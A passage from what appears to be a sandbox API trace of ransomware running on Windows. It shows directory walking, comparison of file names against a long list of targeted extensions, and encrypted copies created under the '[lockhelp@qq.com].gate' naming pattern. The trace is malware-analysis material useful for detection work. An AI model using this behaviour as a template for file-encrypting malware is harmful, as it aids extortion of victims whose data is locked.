(lpString=".zip") returned 4 [0321.857] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0321.857] lstrlenW (lpString=".rar") returned 4 [0321.857] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0321.857] lstrlenW (lpString=".bz2") returned 4 [0321.857] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0321.857] lstrlenW (lpString=".7z") returned 3 [0321.857] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0321.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0321.857] lstrlenW (lpString=".dbf") returned 4 [0321.857] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0321.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0321.857] lstrlenW (lpString=".1cd") returned 4 [0321.857] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0321.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0321.857] lstrlenW (lpString=".jpg") returned 4 [0321.857] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0321.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0321.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0321.858] lstrlenW (lpString=".doc") returned 4 [0321.858] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0321.858] lstrlenW (lpString=".docx") returned 5 [0321.858] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0321.858] lstrlenW (lpString=".pdf") returned 4 [0321.858] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0321.858] lstrlenW (lpString=".xls") returned 4 [0321.858] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0321.858] lstrlenW (lpString=".xlsx") returned 5 [0321.858] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0321.858] lstrlenW (lpString=".ppt") returned 4 [0321.858] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0321.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0321.858] lstrlenW (lpString=".zip") returned 4 [0321.858] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0321.858] lstrlenW (lpString=".rar") returned 4 [0321.858] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0321.858] lstrlenW (lpString=".bz2") returned 4 [0321.858] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0321.858] lstrlenW (lpString=".7z") returned 3 [0321.858] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0321.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0321.858] lstrlenW (lpString=".dbf") returned 4 [0321.858] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0321.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0321.858] lstrlenW (lpString=".1cd") returned 4 [0321.858] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0321.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0321.858] lstrlenW (lpString=".jpg") returned 4 [0321.858] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0321.859] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0321.859] lstrlenW (lpString="BD10972_.GIF") returned 12 [0321.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.859] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=20189) returned 1 [0321.859] CloseHandle (hObject=0x340) returned 1 [0321.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 0x220 [0321.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.859] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.859] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0321.860] GetLastError () returned 0x0 [0321.860] ReadFile (hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0) Thread: id = 101 os_tid = 0xc1c [0318.007] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d60728 [0318.008] lstrlenW (lpString="C:") returned 2 [0318.008] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x33cfcf8 | out: lpFindFileData=0x33cfcf8) returned 0x4a5758 [0318.008] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0318.008] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0318.008] lstrlenW (lpString="$GetCurrent") returned 11 [0318.008] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0318.008] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70730 [0318.008] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0318.008] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 0x4a5a18 [0318.009] FindNextFileW (in: hFindFile=0x4a5a18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.009] FindNextFileW (in: hFindFile=0x4a5a18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.009] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0318.009] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0318.009] lstrlenW (lpString="Logs") returned 4 [0318.009] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0318.009] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d81740 [0318.009] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0318.009] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x4a59d8 [0318.010] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0318.010] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0318.010] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[lockhelp@qq.com].gate") returned 72 [0318.010] lstrlenW (lpString=".1cd") returned 4 [0318.010] lstrcmpiW (lpString1=".1cd", lpString2="gate") returned -1 [0318.010] lstrlenW (lpString=".3ds") returned 4 [0318.010] lstrcmpiW (lpString1=".3ds", lpString2="gate") returned -1 [0318.010] lstrlenW (lpString=".3fr") returned 4 [0318.010] lstrcmpiW (lpString1=".3fr", lpString2="gate") returned -1 [0318.010] lstrlenW (lpString=".3g2") returned 4 [0318.010] lstrcmpiW (lpString1=".3g2", lpString2="gate") returned -1 [0318.010] lstrlenW (lpString=".3gp") returned 4 [0318.010] lstrcmpiW (lpString1=".3gp", lpString2="gate") returned -1 [0318.011] lstrlenW (lpString=".7z") returned 3 [0318.011] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0318.011] lstrlenW (lpString=".accda") returned 6 [0318.011] lstrcmpiW (lpString1=".accda", lpString2="].gate") returned -1 [0318.011] lstrlenW (lpString=".accdb") returned 6 [0318.011] lstrcmpiW (lpString1=".accdb", lpString2="].gate") returned -1 [0318.011] lstrlenW (lpString=".accdc") returned 6 [0318.011] lstrcmpiW (lpString1=".accdc", lpString2="].gate") returned -1 [0318.011] lstrlenW (lpString=".accde") returned 6 [0318.011] lstrcmpiW (lpString1=".accde", lpString2="].gate") returned -1 [0318.011] lstrlenW (lpString=".accdt") returned 6 [0318.011] lstrcmpiW (lpString1=".accdt", lpString2="].gate") returned -1 [0318.011] lstrlenW (lpString=".accdw") returned 6 [0318.011] lstrcmpiW (lpString1=".accdw", lpString2="].gate") returned -1 [0318.011] lstrlenW (lpString=".adb") returned 4 [0318.011] lstrcmpiW (lpString1=".adb", lpString2="gate") returned -1 [0318.011] lstrlenW (lpString=".adp") returned 4 [0318.011] lstrcmpiW (lpString1=".adp", lpString2="gate") returned -1 [0318.011] lstrlenW (lpString=".ai") returned 3 [0318.011] lstrcmpiW (lpString1=".ai", lpString2="ate") returned -1 [0318.011] lstrlenW (lpString=".ai3") returned 4 [0318.011] lstrcmpiW (lpString1=".ai3", lpString2="gate") returned -1 [0318.011] lstrlenW (lpString=".ai4") returned 4 [0318.011] lstrcmpiW (lpString1=".ai4", lpString2="gate") returned -1 [0318.011] lstrlenW (lpString=".ai5") returned 4 [0318.011] lstrcmpiW (lpString1=".ai5", lpString2="gate") returned -1 [0318.011] lstrlenW (lpString=".ai6") returned 4 [0318.011] lstrcmpiW (lpString1=".ai6", lpString2="gate") returned -1 [0318.011] lstrlenW (lpString=".ai7") returned 4 [0318.011] lstrcmpiW (lpString1=".ai7", lpString2="gate") returned -1 [0318.011] lstrlenW (lpString=".ai8") returned 4 [0318.011] lstrcmpiW (lpString1=".ai8", lpString2="gate") returned -1 [0318.011] lstrlenW (lpString=".anim") returned 5 [0318.012] lstrcmpiW (lpString1=".anim", lpString2=".gate") returned -1 [0318.012] lstrlenW (lpString=".arw") returned 4 [0318.012] lstrcmpiW (lpString1=".arw", lpString2="gate") returned -1 [0318.012] lstrlenW (lpString=".as") returned 3 [0318.012] lstrcmpiW (lpString1=".as", lpString2="ate") returned -1 [0318.012] lstrlenW (lpString=".asa") returned 4 [0318.012] lstrcmpiW (lpString1=".asa", lpString2="gate") returned -1 [0318.012] lstrlenW (lpString=".asc") returned 4 [0318.012] lstrcmpiW (lpString1=".asc", lpString2="gate") returned -1 [0318.012] lstrlenW (lpString=".ascx") returned 5 [0318.012] lstrcmpiW (lpString1=".ascx", lpString2=".gate") returned -1 [0318.012] lstrlenW (lpString=".asm") returned 4 [0318.012] lstrcmpiW (lpString1=".asm", lpString2="gate") returned -1 [0318.012] lstrlenW (lpString=".asmx") returned 5 [0318.012] lstrcmpiW (lpString1=".asmx", lpString2=".gate") returned -1 [0318.012] lstrlenW (lpString=".asp") returned 4 [0318.012] lstrcmpiW (lpString1=".asp", lpString2="gate") returned -1 [0318.012] lstrlenW (lpString=".aspx") returned 5 [0318.012] lstrcmpiW (lpString1=".aspx", lpString2=".gate") returned -1 [0318.012] lstrlenW (lpString=".asr") returned 4 [0318.012] lstrcmpiW (lpString1=".asr", lpString2="gate") returned -1 [0318.012] lstrlenW (lpString=".asx") returned 4 [0318.012] lstrcmpiW (lpString1=".asx", lpString2="gate") returned -1 [0318.012] lstrlenW (lpString=".avi") returned 4 [0318.012] lstrcmpiW (lpString1=".avi", lpString2="gate") returned -1 [0318.012] lstrlenW (lpString=".avs") returned 4 [0318.012] lstrcmpiW (lpString1=".avs", lpString2="gate") returned -1 [0318.012] lstrlenW (lpString=".backup") returned 7 [0318.012] lstrcmpiW (lpString1=".backup", lpString2="m].gate") returned -1 [0318.012] lstrlenW (lpString=".bak") returned 4 [0318.013] lstrcmpiW (lpString1=".bak", lpString2="gate") returned -1 [0318.013] lstrlenW (lpString=".bay") returned 4 [0318.013] lstrcmpiW (lpString1=".bay", lpString2="gate") returned -1 [0318.013] lstrlenW (lpString=".bd") returned 3 [0318.013] lstrcmpiW (lpString1=".bd", lpString2="ate") returned -1 [0318.013] lstrlenW (lpString=".bin") returned 4 [0318.013] lstrcmpiW (lpString1=".bin", lpString2="gate") returned -1 [0318.013] lstrlenW (lpString=".bmp") returned 4 [0318.013] lstrcmpiW (lpString1=".bmp", lpString2="gate") returned -1 [0318.013] lstrlenW (lpString=".bz2") returned 4 [0318.013] lstrcmpiW (lpString1=".bz2", lpString2="gate") returned -1 [0318.013] lstrlenW (lpString=".c") returned 2 [0318.013] lstrcmpiW (lpString1=".c", lpString2="te") returned -1 [0318.013] lstrlenW (lpString=".cdr") returned 4 [0318.013] lstrcmpiW (lpString1=".cdr", lpString2="gate") returned -1 [0318.013] lstrlenW (lpString=".cer") returned 4 [0318.013] lstrcmpiW (lpString1=".cer", lpString2="gate") returned -1 [0318.013] lstrlenW (lpString=".cf") returned 3 [0318.013] lstrcmpiW (lpString1=".cf", lpString2="ate") returned -1 [0318.013] lstrlenW (lpString=".cfc") returned 4 [0318.013] lstrcmpiW (lpString1=".cfc", lpString2="gate") returned -1 [0318.013] lstrlenW (lpString=".cfm") returned 4 [0318.013] lstrcmpiW (lpString1=".cfm", lpString2="gate") returned -1 [0318.013] lstrlenW (lpString=".cfml") returned 5 [0318.013] lstrcmpiW (lpString1=".cfml", lpString2=".gate") returned -1 [0318.013] lstrlenW (lpString=".cfu") returned 4 [0318.013] lstrcmpiW (lpString1=".cfu", lpString2="gate") returned -1 [0318.013] lstrlenW (lpString=".chm") returned 4 [0318.013] lstrcmpiW (lpString1=".chm", lpString2="gate") returned -1 [0318.013] lstrlenW (lpString=".cin") returned 4 [0318.013] lstrcmpiW (lpString1=".cin", lpString2="gate") returned -1 [0318.013] lstrlenW (lpString=".class") returned 6 [0318.013] lstrcmpiW (lpString1=".class", lpString2="].gate") returned -1 [0318.013] lstrlenW (lpString=".clx") returned 4 [0318.013] lstrcmpiW (lpString1=".clx", lpString2="gate") returned -1 [0318.013] lstrlenW (lpString=".config") returned 7 [0318.014] lstrcmpiW (lpString1=".config", lpString2="m].gate") returned -1 [0318.014] lstrlenW (lpString=".cpp") returned 4 [0318.014] lstrcmpiW (lpString1=".cpp", lpString2="gate") returned -1 [0318.014] lstrlenW (lpString=".cr2") returned 4 [0318.014] lstrcmpiW (lpString1=".cr2", lpString2="gate") returned -1 [0318.014] lstrlenW (lpString=".crt") returned 4 [0318.014] lstrcmpiW (lpString1=".crt", lpString2="gate") returned -1 [0318.014] lstrlenW (lpString=".crw") returned 4 [0318.014] lstrcmpiW (lpString1=".crw", lpString2="gate") returned -1 [0318.014] lstrlenW (lpString=".cs") returned 3 [0318.014] lstrcmpiW (lpString1=".cs", lpString2="ate") returned -1 [0318.014] lstrlenW (lpString=".css") returned 4 [0318.014] lstrcmpiW (lpString1=".css", lpString2="gate") returned -1 [0318.014] lstrlenW (lpString=".csv") returned 4 [0318.014] lstrcmpiW (lpString1=".csv", lpString2="gate") returned -1 [0318.014] lstrlenW (lpString=".cub") returned 4 [0318.014] lstrcmpiW (lpString1=".cub", lpString2="gate") returned -1 [0318.014] lstrlenW (lpString=".dae") returned 4 [0318.014] lstrcmpiW (lpString1=".dae", lpString2="gate") returned -1 [0318.014] lstrlenW (lpString=".dat") returned 4 [0318.014] lstrcmpiW (lpString1=".dat", lpString2="gate") returned -1 [0318.014] lstrlenW (lpString=".db") returned 3 [0318.014] lstrcmpiW (lpString1=".db", lpString2="ate") returned -1 [0318.014] lstrlenW (lpString=".dbf") returned 4 [0318.014] lstrcmpiW (lpString1=".dbf", lpString2="gate") returned -1 [0318.014] lstrlenW (lpString=".dbx") returned 4 [0318.014] lstrcmpiW (lpString1=".dbx", lpString2="gate") returned -1 [0318.014] lstrlenW (lpString=".dc3") returned 4 [0318.014] lstrcmpiW (lpString1=".dc3", lpString2="gate") returned -1 [0318.014] lstrlenW (lpString=".dcm") returned 4 [0318.014] lstrcmpiW (lpString1=".dcm", lpString2="gate") returned -1 [0318.014] lstrlenW (lpString=".dcr") returned 4 [0318.014] lstrcmpiW (lpString1=".dcr", lpString2="gate") returned -1 [0318.014] lstrlenW (lpString=".der") returned 4 [0318.014] lstrcmpiW (lpString1=".der", lpString2="gate") returned -1 [0318.014] lstrlenW (lpString=".dib") returned 4 [0318.015] lstrcmpiW (lpString1=".dib", lpString2="gate") returned -1 [0318.015] lstrlenW (lpString=".dic") returned 4 [0318.015] lstrcmpiW (lpString1=".dic", lpString2="gate") returned -1 [0318.015] lstrlenW (lpString=".dif") returned 4 [0318.015] lstrcmpiW (lpString1=".dif", lpString2="gate") returned -1 [0318.015] lstrlenW (lpString=".divx") returned 5 [0318.015] lstrcmpiW (lpString1=".divx", lpString2=".gate") returned -1 [0318.015] lstrlenW (lpString=".djvu") returned 5 [0318.015] lstrcmpiW (lpString1=".djvu", lpString2=".gate") returned -1 [0318.015] lstrlenW (lpString=".dng") returned 4 [0318.015] lstrcmpiW (lpString1=".dng", lpString2="gate") returned -1 [0318.015] lstrlenW (lpString=".doc") returned 4 [0318.015] lstrcmpiW (lpString1=".doc", lpString2="gate") returned -1 [0318.015] lstrlenW (lpString=".docm") returned 5 [0318.015] lstrcmpiW (lpString1=".docm", lpString2=".gate") returned -1 [0318.015] lstrlenW (lpString=".docx") returned 5 [0318.015] lstrcmpiW (lpString1=".docx", lpString2=".gate") returned -1 [0318.015] lstrlenW (lpString=".dot") returned 4 [0318.015] lstrcmpiW (lpString1=".dot", lpString2="gate") returned -1 [0318.015] lstrlenW (lpString=".dotm") returned 5 [0318.015] lstrcmpiW (lpString1=".dotm", lpString2=".gate") returned -1 [0318.015] lstrlenW (lpString=".dotx") returned 5 [0318.015] lstrcmpiW (lpString1=".dotx", lpString2=".gate") returned -1 [0318.015] lstrlenW (lpString=".dpx") returned 4 [0318.015] lstrcmpiW (lpString1=".dpx", lpString2="gate") returned -1 [0318.015] lstrlenW (lpString=".dqy") returned 4 [0318.015] lstrcmpiW (lpString1=".dqy", lpString2="gate") returned -1 [0318.015] lstrlenW (lpString=".dsn") returned 4 [0318.015] lstrcmpiW (lpString1=".dsn", lpString2="gate") returned -1 [0318.015] lstrlenW (lpString=".dt") returned 3 [0318.015] lstrcmpiW (lpString1=".dt", lpString2="ate") returned -1 [0318.015] lstrlenW (lpString=".dtd") returned 4 [0318.015] lstrcmpiW (lpString1=".dtd", lpString2="gate") returned -1 [0318.015] lstrlenW (lpString=".dwg") returned 4 [0318.015] lstrcmpiW (lpString1=".dwg", lpString2="gate") returned -1 [0318.016] lstrlenW (lpString=".dwt") returned 4 [0318.016] lstrcmpiW (lpString1=".dwt", lpString2="gate") returned -1 [0318.016] lstrlenW (lpString=".dx") returned 3 [0318.016] lstrcmpiW (lpString1=".dx", lpString2="ate") returned -1 [0318.016] lstrlenW (lpString=".dxf") returned 4 [0318.016] lstrcmpiW (lpString1=".dxf", lpString2="gate") returned -1 [0318.016] lstrlenW (lpString=".edml") returned 5 [0318.016] lstrcmpiW (lpString1=".edml", lpString2=".gate") returned -1 [0318.016] lstrlenW (lpString=".efd") returned 4 [0318.016] lstrcmpiW (lpString1=".efd", lpString2="gate") returned -1 [0318.016] lstrlenW (lpString=".elf") returned 4 [0318.016] lstrcmpiW (lpString1=".elf", lpString2="gate") returned -1 [0318.016] lstrlenW (lpString=".emf") returned 4 [0318.016] lstrcmpiW (lpString1=".emf", lpString2="gate") returned -1 [0318.016] lstrlenW (lpString=".emz") returned 4 [0318.016] lstrcmpiW (lpString1=".emz", lpString2="gate") returned -1 [0318.016] lstrlenW (lpString=".epf") returned 4 [0318.016] lstrcmpiW (lpString1=".epf", lpString2="gate") returned -1 [0318.016] lstrlenW (lpString=".eps") returned 4 [0318.016] lstrcmpiW (lpString1=".eps", lpString2="gate") returned -1 [0318.016] lstrlenW (lpString=".epsf") returned 5 [0318.016] lstrcmpiW (lpString1=".epsf", lpString2=".gate") returned -1 [0318.016] lstrlenW (lpString=".epsp") returned 5 [0318.016] lstrcmpiW (lpString1=".epsp", lpString2=".gate") returned -1 [0318.016] lstrlenW (lpString=".erf") returned 4 [0318.016] lstrcmpiW (lpString1=".erf", lpString2="gate") returned -1 [0318.016] lstrlenW (lpString=".exr") returned 4 [0318.016] lstrcmpiW (lpString1=".exr", lpString2="gate") returned -1 [0318.016] lstrlenW (lpString=".f4v") returned 4 [0318.016] lstrcmpiW (lpString1=".f4v", lpString2="gate") returned -1 [0318.016] lstrlenW (lpString=".fido") returned 5 [0318.016] lstrcmpiW (lpString1=".fido", lpString2=".gate") returned -1 [0318.016] lstrlenW (lpString=".flm") returned 4 [0318.016] lstrcmpiW (lpString1=".flm", lpString2="gate") returned -1 [0318.016] lstrlenW (lpString=".flv") returned 4 [0318.016] lstrcmpiW (lpString1=".flv", lpString2="gate") returned -1 [0318.017] lstrlenW (lpString=".frm") returned 4 [0318.017] lstrcmpiW (lpString1=".frm", lpString2="gate") returned -1 [0318.017] lstrlenW (lpString=".fxg") returned 4 [0318.017] lstrcmpiW (lpString1=".fxg", lpString2="gate") returned -1 [0318.017] lstrlenW (lpString=".geo") returned 4 [0318.017] lstrcmpiW (lpString1=".geo", lpString2="gate") returned -1 [0318.017] lstrlenW (lpString=".gif") returned 4 [0318.017] lstrcmpiW (lpString1=".gif", lpString2="gate") returned -1 [0318.017] lstrlenW (lpString=".grs") returned 4 [0318.017] lstrcmpiW (lpString1=".grs", lpString2="gate") returned -1 [0318.017] lstrlenW (lpString=".gz") returned 3 [0318.017] lstrcmpiW (lpString1=".gz", lpString2="ate") returned -1 [0318.017] lstrlenW (lpString=".h") returned 2 [0318.017] lstrcmpiW (lpString1=".h", lpString2="te") returned -1 [0318.017] lstrlenW (lpString=".hdr") returned 4 [0318.017] lstrcmpiW (lpString1=".hdr", lpString2="gate") returned -1 [0318.017] lstrlenW (lpString=".hpp") returned 4 [0318.017] lstrcmpiW (lpString1=".hpp", lpString2="gate") returned -1 [0318.017] lstrlenW (lpString=".hta") returned 4 [0318.017] lstrcmpiW (lpString1=".hta", lpString2="gate") returned -1 [0318.017] lstrlenW (lpString=".htc") returned 4 [0318.017] lstrcmpiW (lpString1=".htc", lpString2="gate") returned -1 [0318.017] lstrlenW (lpString=".htm") returned 4 [0318.017] lstrcmpiW (lpString1=".htm", lpString2="gate") returned -1 [0318.017] lstrlenW (lpString=".html") returned 5 [0318.017] lstrcmpiW (lpString1=".html", lpString2=".gate") returned 1 [0318.035] lstrlenW (lpString=".icb") returned 4 [0318.035] lstrcmpiW (lpString1=".icb", lpString2="gate") returned -1 [0318.035] lstrlenW (lpString=".ics") returned 4 [0318.035] lstrcmpiW (lpString1=".ics", lpString2="gate") returned -1 [0318.035] lstrlenW (lpString=".iff") returned 4 [0318.035] lstrcmpiW (lpString1=".iff", lpString2="gate") returned -1 [0318.035] lstrlenW (lpString=".inc") returned 4 [0318.035] lstrcmpiW (lpString1=".inc", lpString2="gate") returned -1 [0318.035] lstrlenW (lpString=".indd") returned 5 [0318.035] lstrcmpiW (lpString1=".indd", lpString2=".gate") returned 1 [0318.035] lstrlenW (lpString=".ini") returned 4 [0318.035] lstrcmpiW (lpString1=".ini", lpString2="gate") returned -1 [0318.035] lstrlenW (lpString=".iqy") returned 4 [0318.035] lstrcmpiW (lpString1=".iqy", lpString2="gate") returned -1 [0318.035] lstrlenW (lpString=".j2c") returned 4 [0318.035] lstrcmpiW (lpString1=".j2c", lpString2="gate") returned -1 [0318.035] lstrlenW (lpString=".j2k") returned 4 [0318.035] lstrcmpiW (lpString1=".j2k", lpString2="gate") returned -1 [0318.035] lstrlenW (lpString=".java") returned 5 [0318.036] lstrcmpiW (lpString1=".java", lpString2=".gate") returned 1 [0318.036] lstrlenW (lpString=".jp2") returned 4 [0318.036] lstrcmpiW (lpString1=".jp2", lpString2="gate") returned -1 [0318.036] lstrlenW (lpString=".jpc") returned 4 [0318.036] lstrcmpiW (lpString1=".jpc", lpString2="gate") returned -1 [0318.036] lstrlenW (lpString=".jpe") returned 4 [0318.036] lstrcmpiW (lpString1=".jpe", lpString2="gate") returned -1 [0318.036] lstrlenW (lpString=".jpeg") returned 5 [0318.036] lstrcmpiW (lpString1=".jpeg", lpString2=".gate") returned 1 [0318.036] lstrlenW (lpString=".jpf") returned 4 [0318.036] lstrcmpiW (lpString1=".jpf", lpString2="gate") returned -1 [0318.036] lstrlenW (lpString=".jpg") returned 4 [0318.036] lstrcmpiW (lpString1=".jpg", lpString2="gate") returned -1 [0318.036] lstrlenW (lpString=".jpx") returned 4 [0318.036] lstrcmpiW (lpString1=".jpx", lpString2="gate") returned -1 [0318.036] lstrlenW (lpString=".js") returned 3 [0318.036] lstrcmpiW (lpString1=".js", lpString2="ate") returned -1 [0318.036] lstrlenW (lpString=".jsf") returned 4 [0318.036] lstrcmpiW (lpString1=".jsf", lpString2="gate") returned -1 [0318.036] lstrlenW (lpString=".json") returned 5 [0318.036] lstrcmpiW (lpString1=".json", lpString2=".gate") returned 1 [0318.036] lstrlenW (lpString=".jsp") returned 4 [0318.036] lstrcmpiW (lpString1=".jsp", lpString2="gate") returned -1 [0318.036] lstrlenW (lpString=".kdc") returned 4 [0318.036] lstrcmpiW (lpString1=".kdc", lpString2="gate") returned -1 [0318.036] lstrlenW (lpString=".kmz") returned 4 [0318.036] lstrcmpiW (lpString1=".kmz", lpString2="gate") returned -1 [0318.036] lstrlenW (lpString=".kwm") returned 4 [0318.036] lstrcmpiW (lpString1=".kwm", lpString2="gate") returned -1 [0318.036] lstrlenW (lpString=".lasso") returned 6 [0318.036] lstrcmpiW (lpString1=".lasso", lpString2="].gate") returned -1 [0318.036] lstrlenW (lpString=".lbi") returned 4 [0318.036] lstrcmpiW (lpString1=".lbi", lpString2="gate") returned -1 [0318.036] lstrlenW (lpString=".lgf") returned 4 [0318.036] lstrcmpiW (lpString1=".lgf", lpString2="gate") returned -1 [0318.036] lstrlenW (lpString=".lgp") returned 4 [0318.037] lstrcmpiW (lpString1=".lgp", lpString2="gate") returned -1 [0318.037] lstrlenW (lpString=".log") returned 4 [0318.037] lstrcmpiW (lpString1=".log", lpString2="gate") returned -1 [0318.037] lstrlenW (lpString=".m1v") returned 4 [0318.037] lstrcmpiW (lpString1=".m1v", lpString2="gate") returned -1 [0318.037] lstrlenW (lpString=".m4a") returned 4 [0318.037] lstrcmpiW (lpString1=".m4a", lpString2="gate") returned -1 [0318.037] lstrlenW (lpString=".m4v") returned 4 [0318.037] lstrcmpiW (lpString1=".m4v", lpString2="gate") returned -1 [0318.037] lstrlenW (lpString=".max") returned 4 [0318.037] lstrcmpiW (lpString1=".max", lpString2="gate") returned -1 [0318.037] lstrlenW (lpString=".md") returned 3 [0318.037] lstrcmpiW (lpString1=".md", lpString2="ate") returned -1 [0318.037] lstrlenW (lpString=".mda") returned 4 [0318.037] lstrcmpiW (lpString1=".mda", lpString2="gate") returned -1 [0318.037] lstrlenW (lpString=".mdb") returned 4 [0318.037] lstrcmpiW (lpString1=".mdb", lpString2="gate") returned -1 [0318.037] lstrlenW (lpString=".mde") returned 4 [0318.037] lstrcmpiW (lpString1=".mde", lpString2="gate") returned -1 [0318.037] lstrlenW (lpString=".mdf") returned 4 [0318.037] lstrcmpiW (lpString1=".mdf", lpString2="gate") returned -1 [0318.037] lstrlenW (lpString=".mdw") returned 4 [0318.037] lstrcmpiW (lpString1=".mdw", lpString2="gate") returned -1 [0318.037] lstrlenW (lpString=".mef") returned 4 [0318.037] lstrcmpiW (lpString1=".mef", lpString2="gate") returned -1 [0318.037] lstrlenW (lpString=".mft") returned 4 [0318.037] lstrcmpiW (lpString1=".mft", lpString2="gate") returned -1 [0318.037] lstrlenW (lpString=".mfw") returned 4 [0318.037] lstrcmpiW (lpString1=".mfw", lpString2="gate") returned -1 [0318.037] lstrlenW (lpString=".mht") returned 4 [0318.037] 